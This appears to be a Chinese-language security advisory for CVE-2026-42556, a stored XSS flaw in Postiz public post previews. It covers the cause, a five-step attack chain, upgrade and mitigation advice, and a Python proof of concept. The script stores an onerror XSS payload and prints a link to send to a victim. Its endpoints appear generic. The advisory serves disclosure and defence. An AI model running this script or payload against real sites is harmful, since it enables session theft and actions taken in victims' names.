IPBUF安全漏洞报告
English
CVE-2026-42556 CVSS 8.9 高危

CVE-2026-42556 Postiz 存储型XSS漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42556
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
8.9 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Postiz

相关标签

XSSStored XSSPostizCVE-2026-42556Web SecurityReact

漏洞概述

Postiz是一款AI社交媒体调度工具。在2.21.6至2.21.7之前的版本中存在一个高危存储型XSS漏洞。任何能够创建帖子的认证用户都可以通过篡改保存请求,在帖子内容中存储任意HTML代码。攻击者随后可以生成包含该恶意内容的公开预览链接(/p/<postId>?share=true)。当其他用户访问该链接时,应用程序会使用dangerouslySetInnerHTML在主源上直接渲染这些HTML,导致恶意脚本在受害者浏览器中执行。该漏洞已在2.21.7版本中修复。

技术细节

该漏洞的根本原因在于Postiz对用户输入内容缺乏严格的过滤和转义,直接使用了React的dangerouslySetInnerHTML属性进行渲染。攻击流程如下:首先,攻击者需要拥有一个合法的Postiz账户并登录。其次,在创建新帖子的过程中,攻击者拦截前端发送的保存请求(如通过Burp Suite或浏览器开发者工具),并将帖子内容字段修改为包含恶意JavaScript代码的HTML payload(例如<script>alert(1)</script>)。服务器接收并保存了这段被篡改的数据。接着,攻击者利用系统的分享功能,生成指向该帖子的公开预览链接。当受害者(通常是其他拥有更高权限的用户或管理员)点击此链接时,后端会从数据库读取存储的恶意HTML,并在预览页面组件中通过dangerouslySetInnerHTML进行渲染。由于React不转义通过该属性插入的HTML,浏览器会解析并执行其中的JavaScript代码。这可能导致攻击者窃取受害者的Session ID、Cookie等敏感信息,甚至以受害者身份执行未授权操作。

攻击链分析

STEP 1
1. 攻击者登录
攻击者使用合法账户登录Postiz应用程序。
STEP 2
2. 篡改请求
攻击者创建新帖子,并在保存请求中拦截数据,将内容字段修改为包含恶意脚本的HTML代码。
STEP 3
3. 存储Payload
服务器未经过滤处理直接保存了包含恶意HTML的帖子内容。
STEP 4
4. 分发链接
攻击者生成该帖子的公开预览链接(/p/<postId>?share=true)并发送给目标受害者。
STEP 5
5. 执行攻击
受害者点击链接,预览页面使用dangerouslySetInnerHTML渲染未转义的HTML,触发恶意脚本执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "https://example.com" login_endpoint = f"{target_host}/api/auth/login" post_endpoint = f"{target_host}/api/posts" # Attacker credentials username = "[email protected]" password = "password123" # Malicious payload to be stored and executed # Using an img tag for execution often bypasses simple filters, but description says arbitrary HTML is allowed. xss_payload = '<img src=x onerror=alert(\"CVE-2026-42556-XSS\")>' # 1. Login to get session session = requests.Session() login_data = {"email": username, "password": password} login_resp = session.post(login_endpoint, json=login_data) if login_resp.status_code == 200: print("[+] Logged in successfully") # 2. Create a post with tampered content # Intercepting the save request to inject arbitrary HTML post_data = { "content": xss_payload, "providerIds": [], "date": "2026-05-08T12:00:00.000Z" } create_resp = session.post(post_endpoint, json=post_data) if create_resp.status_code == 200: post_id = create_resp.json().get('id') print(f"[+] Post created with ID: {post_id}") # 3. Generate the vulnerable preview link preview_link = f"{target_host}/p/{post_id}?share=true" print(f"[+] Send this link to the victim: {preview_link}") print("[+] When the victim opens the link, the XSS payload will execute.") else: print("[-] Failed to create post") else: print("[-] Login failed")

影响范围

Postiz 2.21.6
Postiz < 2.21.7

防御指南

临时缓解措施
建议立即将Postiz升级至2.21.7或更高版本。在无法立即升级的情况下,应限制用户创建帖子的权限,并禁用公共预览功能(/p/<postId>?share=true)的访问,以防止恶意链接被传播。

参考链接